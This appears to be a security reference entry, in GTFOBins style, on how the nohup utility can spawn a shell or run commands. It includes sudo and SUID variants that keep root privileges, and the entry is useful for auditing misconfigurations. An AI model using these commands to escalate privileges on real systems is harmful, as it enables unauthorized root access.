nohup
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
nohup /bin/sh -c '/bin/sh </dev/tty >/dev/tty 2>/dev/tty'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.nohup /bin/sh -c '/bin/sh </dev/tty >/dev/tty 2>/dev/tty'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.nohup /bin/sh -p -c '/bin/sh -p </dev/tty >/dev/tty 2>/dev/tty'
Command
This executable can run non-interactive system commands.
- This function can be performed by any unprivileged user.
nohup /path/to/command cat nohup.outThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.nohup /path/to/command cat nohup.outThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.nohup /path/to/command cat nohup.out